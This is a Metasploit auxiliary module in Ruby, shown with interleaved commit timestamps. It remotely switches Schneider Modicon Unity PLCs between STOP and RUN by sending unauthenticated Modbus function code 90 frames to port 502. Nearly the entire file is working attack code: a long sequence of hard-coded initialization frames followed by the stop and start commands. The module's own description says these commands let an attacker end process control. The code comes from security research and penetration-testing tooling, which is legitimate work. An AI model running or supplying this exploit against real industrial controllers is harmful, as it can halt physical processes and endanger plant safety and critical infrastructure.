2013-03-07 00:18:32 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
2013-03-07 23:53:19 +00:00
# http://metasploit.com/
2013-03-07 00:18:32 +00:00
##
2012-04-05 17:35:21 +00:00
require 'msf/core'
class Metasploit3 < Msf :: Auxiliary
include Msf :: Exploit :: Remote :: Tcp
include Rex :: Socket :: Tcp
def initialize ( info = { } )
super ( update_info ( info ,
2012-05-03 05:33:09 +00:00
'Name' = > 'Schneider Modicon Remote START/STOP Command' ,
2012-04-05 17:35:21 +00:00
'Description' = > %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 ( 0x5a ) to perform administrative commands without authentication .
This module allows a remote user to change the state of the PLC between
STOP and RUN , allowing an attacker to end process control by the PLC .
This module is based on the original 'modiconstop.rb' Basecamp module from
DigitalBond .
} ,
'Author' = >
2012-06-06 05:36:17 +00:00
[
2012-04-05 17:35:21 +00:00
'K. Reid Wightman <wightman[at]digitalbond.com>' , # original module
'todb' # Metasploit fixups
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'URL' , 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
] ,
2012-04-05 22:05:03 +00:00
'DisclosureDate' = > 'Apr 5 2012'
2012-04-05 17:35:21 +00:00
) )
register_options (
[
OptEnum . new ( " MODE " , [ true , 'PLC command' , " STOP " ,
[
" STOP " ,
" RUN "
]
] ) ,
Opt :: RPORT ( 502 )
] , self . class )
end
2012-06-06 05:22:36 +00:00
2012-04-05 17:35:21 +00:00
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe ( packetdata )
if packetdata . size > 255
print_error ( " packet too large, sorry " )
print_error ( " Offending packet: " + packetdata )
return
end
payload = " "
payload += [ @modbuscounter ] . pack ( " n " )
payload += " \x00 \x00 \x00 " #dunno what these are
payload += [ packetdata . size ] . pack ( " c " ) # size byte
payload += packetdata
end
2012-06-06 05:22:36 +00:00
2012-04-05 17:35:21 +00:00
# a wrapper just to be sure we increment the counter
def sendframe ( payload )
sock . put ( payload )
@modbuscounter += 1
r = sock . recv ( 65535 , 0 . 1 ) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
return r
end
# This function sends some initialization requests
# I have no idea what these do, but they seem to be
# needed to get the Modicon chatty with us.
# I would make some analogy to 'gaming' in the
# bar-dating scene, but I'll refrain.
def init
payload = " \x00 \x5a \x00 \x02 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x01 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x0a \x00 " + 'T' * 0xf9
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x03 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x03 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x01 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x0a \x00 "
( 0 .. 0xf9 ) . each { | x | payload += [ x ] . pack ( " c " ) }
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x13 \x00 \x00 \x00 \x00 \x00 \x64 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x13 \x00 \x64 \x00 \x00 \x00 \x9c \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x00 \x00 \x00 \x00 \x64 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x64 \x00 \x00 \x00 \xf6 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x5a \x01 \x00 \x00 \xf6 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x5a \x02 \x00 \x00 \xf6 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x46 \x03 \x00 \x00 \xf6 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x3c \x04 \x00 \x00 \xf6 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x32 \x05 \x00 \x00 \xf6 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x14 \x00 \x28 \x06 \x00 \x00 \x0c \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x13 \x00 \x00 \x00 \x00 \x00 \x64 \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x20 \x00 \x13 \x00 \x64 \x00 \x00 \x00 \x9c \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x10 \x43 \x4c \x00 \x00 \x0f "
payload += " USER-714E74F21B " # Yep, really
#payload += "META-SPLOITMETA"
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x50 \x15 \x00 \x01 \x0b "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x50 \x15 \x00 \x01 \x07 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x12 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x12 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x02 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x58 \x01 \x00 \x00 \x00 \x00 \xff \xff \x00 \x70 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x58 \x07 \x01 \x80 \x00 \x00 \x00 \x00 \xfb \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x04 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x00 \x58 \x07 \x01 \x80 \x00 \x00 \x00 \x00 \xfb \x00 "
sendframe ( makeframe ( payload ) )
end
def stop
payload = " \x00 \x5a \x01 \x41 \xff \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x04 "
sendframe ( makeframe ( payload ) )
end
def start
payload = " \x00 \x5a \x01 \x40 \xff \x00 "
sendframe ( makeframe ( payload ) )
payload = " \x00 \x5a \x01 \x04 "
sendframe ( makeframe ( payload ) )
end
def run
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore [ 'MODE' ]
when " STOP "
stop
when " RUN "
start
else
print_error ( " Invalid MODE " )
return
end
end
end